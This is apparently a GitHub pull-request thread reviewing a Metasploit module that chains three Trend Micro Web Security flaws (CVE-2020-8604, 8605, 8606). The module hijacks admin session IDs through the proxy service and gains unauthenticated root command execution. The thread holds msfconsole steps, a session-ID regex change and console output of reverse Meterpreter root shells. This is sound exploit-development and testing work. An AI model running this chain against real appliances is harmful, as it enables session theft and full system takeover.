Add Trend Micro WebSecurity Remote Code Execution

[mdisec]

Hi everyone !

This module exploits multiple vulnerabilities together in order to achieve a remote code execution. Unauthenticated users can execute a terminal command under the context of the root user.

Verification Steps

A successful check of the exploit will look like this:

• Start msfconsole
• Run use exploit/linux/http/trendmicro_websecurity_exec
• Set RHOST
• Set LHOST
• Run check
• Verify that you are seeing The target is vulnerable.
• Run exploit
• Verify that you are seeing Latest session id is successfully extracted : 29A589E94A0BC0954F7F9B1FE7EC8858 in console.

Scenerio

This module has been tested against Trend Micro Web Security 6.5-SP2_Build_Linux_1852.

msf5 > use exploit/linux/http/trendmicro_websecurity_exec
msf5 exploit(linux/http/trendmicro_websecurity_exec) > set RHOSTS 192.168.74.31
RHOSTS => 192.168.74.31
msf5 exploit(linux/http/trendmicro_websecurity_exec) > set LHOST 172.27.199.6
LHOST => 172.27.199.6
msf5 exploit(linux/http/trendmicro_websecurity_exec) > check
[+] 192.168.74.31:8443 - The target is vulnerable.
msf5 exploit(linux/http/trendmicro_websecurity_exec) > exploit

[*] Started reverse TCP handler on 172.27.199.6:4444
[*] Exploiting command injection vulnerability
[+] Latest session id is successfully extracted : 29A589E94A0BC0954F7F9B1FE7EC8858
[*] Sending stage (53755 bytes) to 172.27.192.1
[*] Meterpreter session 1 opened (172.27.199.6:4444 -> 172.27.192.1:55842) at 2020-06-14 20:24:53 +0300

meterpreter > sysinfo
Computer        : trendmicro
OS              : Linux 2.6.32-504.OpenVA.3.5.1375.el6.x86_64 #1 SMP Wed Dec 28 16:16:16 CST 2016
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > shell
Process 6306 created.
Channel 1 created.
sh: no job control in this shell
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root),499(iscan)
sh-4.1#

#Nahamcon2020

[h00die]

Is this the right download? https://success.trendmicro.com/product-support/interscan-web-security-virtual-appliance-6-5?sfdcIFrameOrigin=null

[mdisec]

Is this the right download? https://success.trendmicro.com/product-support/interscan-web-security-virtual-appliance-6-5?sfdcIFrameOrigin=null

Yep it's. There is a download link of the product in the documentation file of the module.

[h00die]

i've downloaded the file in case they update the website. i'll see if i can get to looking at this in a few days

[mdisec]

i've downloaded the file in case they update the website. i'll see if i can get to looking at this in a few days

Awesome ! I will fix grammar and typos with a single commit once I've got full review. @bcoles

[h00die]

My first test run was a bust (never logged into the website):

msf5 exploit(linux/http/trendmicro_websecurity_exec) > run

[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Trying to extract session ID by exploiting reverse proxy service
[+] Successfully exploited reverse proxy service !
[*] Exploiting command injection vulnerability
[-] Exploit aborted due to failure: unexpected-reply: There is no JSESSIONID in log file.
[*] Exploit completed, but no session was created.

While I get now why it didn't work, I think we can work on the language a bit to make it more obvious

[h00die]

Please run msftidy_docs.

$ tools/dev/msftidy_docs.rb documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md 
documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md - [WARNING] Missing Section: ## Scenarios
documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md - [WARNING] Missing Section: ## Options
documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md - [WARNING] Please add a newline at the end of the file
documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md - [WARNING] H2 headings in incorrect order. Should be: Vulnerable Application, Verification Steps, Options, Scenarios
documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md:3 - [WARNING] Line too long (188). Consider a newline (which resolves to a space in markdown) to break it up around 140 characters.
documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md:5 - [WARNING] Line too long (388). Consider a newline (which resolves to a space in markdown) to break it up around 140 characters.
documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md:7 - [WARNING] Line too long (209). Consider a newline (which resolves to a space in markdown) to break it up around 140 characters.
documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md:9 - [WARNING] Line too long (334). Consider a newline (which resolves to a space in markdown) to break it up around 140 characters.
documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md:25 - [WARNING] Line too long (159). Consider a newline (which resolves to a space in markdown) to break it up around 140 characters.

[h00die]

I'm not getting any hits on the JSESSIONID, however I see this in the logs:

Wed Jun 17 18:39:33 GMT-05:00 2020: CheckUserLogon sessionid : 41CA20553E6E0E306F528E998D311C31                                                                                                                                                           
...                                                                                                                                                                                             
Wed Jun 17 18:40:31 GMT-05:00 2020: CheckUserLogon sessionid : 88F8DCAD6A553DA1C31AD6FA29AABA13                                                                                                                                                           

Those are valid JSESSIONIDs for my admin user. Maybe add those to the check? Also, good things to add to the docs so we know what the log items look like.

[h00die]

After making this change:

-    @jsessionid = @res.body.scan(/JSESSIONID=(.*)/).flatten.last || ''
+    @jsessionid = @res.body.scan(/CheckUserLogon sessionid : (.*)/).flatten.last || ''

I was able to get it to run.

msf5 exploit(linux/http/trendmicro_websecurity_exec) > exploit

[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Trying to extract session ID by exploiting reverse proxy service
[+] Successfully exploited reverse proxy service !
[*] Exploiting command injection vulnerability
[+] Latest session id is successfully extracted : 8FD70613D35F69406F4D461C2B233C92
[*] Sending stage (53755 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:42711) at 2020-06-17 20:07:24 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : trendmicro-iswsva
OS              : Linux 2.6.32-504.OpenVA.3.5.1321.el6.x86_64 #1 SMP Tue Dec 23 15:08:35 CST 2014
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > exit

[h00die]

Any idea on the JSESSIONID difference?

-    @jsessionid = @res.body.scan(/JSESSIONID=(.*)/).flatten.last || ''
+    @jsessionid = @res.body.scan(/CheckUserLogon sessionid : (.*)/).flatten.last || ''

[mdisec]

Any idea on the JSESSIONID difference?

-    @jsessionid = @res.body.scan(/JSESSIONID=(.*)/).flatten.last || ''
+    @jsessionid = @res.body.scan(/ /).flatten.last || ''

That's strange.. On my lab, I've installed all the minor patches too. Maybe, the function that prints out JSESSIONID= into the log file does not exist earlier minor version. But CheckUserLogon sessionid : (.*) is working on my version too. So I'm switching the regex with that one. THanks alot !

[h00die]

Let me know when you're all set and I'll take a look

[mdisec]

@h00die Thanks. I think it's ready for review 👍

[h00die]

msf5 exploit(linux/http/trendmicro_websecurity_exec) > check

[*] Trying to extract session ID by exploiting reverse proxy service
[+] Extracted number of JSESSIONID : 5
[*] Testing JSESSIONID #0 : 8FD70613D35F69406F4D461C2B233C92
[!] JSESSIONID #0 is inactive ! Moving to the next one.
[*] Testing JSESSIONID #1 : F15C85EC0B9B9C79571BFB22E5ECBDA3
[!] JSESSIONID #1 is inactive ! Moving to the next one.
[*] Testing JSESSIONID #2 : D25037B1BEC34C8E00C7C9307F7962C6
[!] JSESSIONID #2 is inactive ! Moving to the next one.
[*] Testing JSESSIONID #3 : 88F8DCAD6A553DA1C31AD6FA29AABA13
[!] JSESSIONID #3 is inactive ! Moving to the next one.
[*] Testing JSESSIONID #4 : 41CA20553E6E0E306F528E998D311C31
[!] JSESSIONID #4 is inactive ! Moving to the next one.
[-] System is vulnerable, however extracted cookies are not valid! Please wait for a user or admin to login.
[+] 2.2.2.2:8443 - The target is vulnerable.

This looks much better :)

[h00die]

Any reason you're using instance variables (@) vs returning the jsessionid? from a quick look over, it seemed like you could just return it.

Had a few suggestions for fixes: mdisec#2

[mdisec]

Thanks for MR @h00die ! I merged it <3.

hijack_cookie function has to be called within check function. Because people may run check before running exploit. I like to call the check method within exploit function so that I avoid exploitation attempts against invulnerable targets even if the user didn't use check in the first place. So check function must return checkcode status and we need to know jessionid within exploit method.

Another approach could be calling hijack_cookie within the exploit method and pass the cookie value to the check method. If the function parameter of the check method is empty or nil, that means the user executes check before exploit. In that case, we can call hijack_cookie again within the check method.

For me, both approaches do what we need. But instance variable makes more sense for me in these kinds of situations. Whenever I see an instance variable, I think that variable is important for the exploitation and has to be accessible from multiple functions of the exploit module.

[h00die]

Latest changes are working and looking good.

msf5 > use exploit/linux/http/trendmicro_websecurity_exec 
msf5 exploit(linux/http/trendmicro_websecurity_exec) > set verbose true
verbose => true
msf5 exploit(linux/http/trendmicro_websecurity_exec) > set rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 exploit(linux/http/trendmicro_websecurity_exec) > check

[*] Trying to extract session ID by exploiting reverse proxy service
[+] Extracted number of JSESSIONID: 6
[*] Testing JSESSIONID #0 : D678FA4451F551F3882349A718717130
[!] JSESSIONID #0 is inactive! Moving to the next one.
[*] Testing JSESSIONID #1 : 8FD70613D35F69406F4D461C2B233C92
[!] JSESSIONID #1 is inactive! Moving to the next one.
[*] Testing JSESSIONID #2 : F15C85EC0B9B9C79571BFB22E5ECBDA3
[!] JSESSIONID #2 is inactive! Moving to the next one.
[*] Testing JSESSIONID #3 : D25037B1BEC34C8E00C7C9307F7962C6
[!] JSESSIONID #3 is inactive! Moving to the next one.
[*] Testing JSESSIONID #4 : 88F8DCAD6A553DA1C31AD6FA29AABA13
[!] JSESSIONID #4 is inactive! Moving to the next one.
[*] Testing JSESSIONID #5 : 41CA20553E6E0E306F528E998D311C31
[!] JSESSIONID #5 is inactive! Moving to the next one.
[-] System is vulnerable, however extracted cookies are not valid! Please wait for a user or admin to login.
[+] 2.2.2.2:8443 - The target is vulnerable.

Logged in to the service

msf5 exploit(linux/http/trendmicro_websecurity_exec) > check

[*] Trying to extract session ID by exploiting reverse proxy service
[+] Extracted number of JSESSIONID: 7
[*] Testing JSESSIONID #0 : 37507429D7441C3E8CEC4B1D447C687E
[+] Awesome!!! JESSIONID #0 is active.
[+] 2.2.2.2:8443 - The target is vulnerable.
msf5 exploit(linux/http/trendmicro_websecurity_exec) > exploit 

[-] Exploit failed: One or more options failed to validate: LHOST.
[*] Exploit completed, but no session was created.
msf5 exploit(linux/http/trendmicro_websecurity_exec) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf5 exploit(linux/http/trendmicro_websecurity_exec) > exploit

[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Trying to extract session ID by exploiting reverse proxy service
[+] Extracted number of JSESSIONID: 7
[*] Testing JSESSIONID #0 : 37507429D7441C3E8CEC4B1D447C687E
[+] Awesome!!! JESSIONID #0 is active.
[*] Exploiting command injection vulnerability
[*] Sending stage (53755 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:59107) at 2020-06-22 06:38:02 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : trendmicro-iswsva
OS              : Linux 2.6.32-504.OpenVA.3.5.1321.el6.x86_64 #1 SMP Tue Dec 23 15:08:35 CST 2014
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter >

[h00die]

Release Notes

The Trend Micro Web Security (Virtual Appliance) Remote Code Execution uses three exploits, that when chained together allows for remote code execution in Trend Micro WebSecurity 6.5.

The vulnerabilities are identified as :

• CVE-2020-8604
• CVE-2020-8605
• CVE-2020-8606

[h00die]

Thanks for the PR @mdisec , and sticking with all the changes requested. It's quite a dynamic module now!

[hackercoolmagz]

Hi, I have downloaded the above vulnerable iso file of web security appliance and installed it in virtualbox. I kept both the attacker (kali) and target(trendmicro) on the same host only network. However I can't access the target port (8443). from my attacker machine. What mistake I am ding here?

[bcoles]

Hi, I have downloaded the above vulnerable iso file of web security appliance and installed it in virtualbox. I kept both the attacker (kali) and target(trendmicro) on the same host only network. However I can't access the target port (8443). from my attacker machine. What mistake I am ding here?

What output do you get?

This module expects the PROXY_PORT to be set (default port 8080). The module uses this service to gain access to internal services, such as port 8443, as per the documentation:

      Another specific flaw exist within the proxy service, which listens on port 8080 by default. Unauthenticated users
      can exploit this vulnerability in order to communicate with internal services in the product.

[hackercoolmagz]

Hi, I have downloaded the above vulnerable iso file of web security appliance and installed it in virtualbox. I kept both the attacker (kali) and target(trendmicro) on the same host only network. However I can't access the target port (8443). from my attacker machine. What mistake I am ding here?

What output do you get?

This module expects the PROXY_PORT to be set (default port 8080). The module uses this service to gain access to internal services, such as port 8443, as per the documentation:

      Another specific flaw exist within the proxy service, which listens on port 8080 by default. Unauthenticated users
      can exploit this vulnerability in order to communicate with internal services in the product.

Hi, Thanks for your quick reply. But the module worked as mentioned after restarting the Trend Micro web security appliance. So the problem is solved.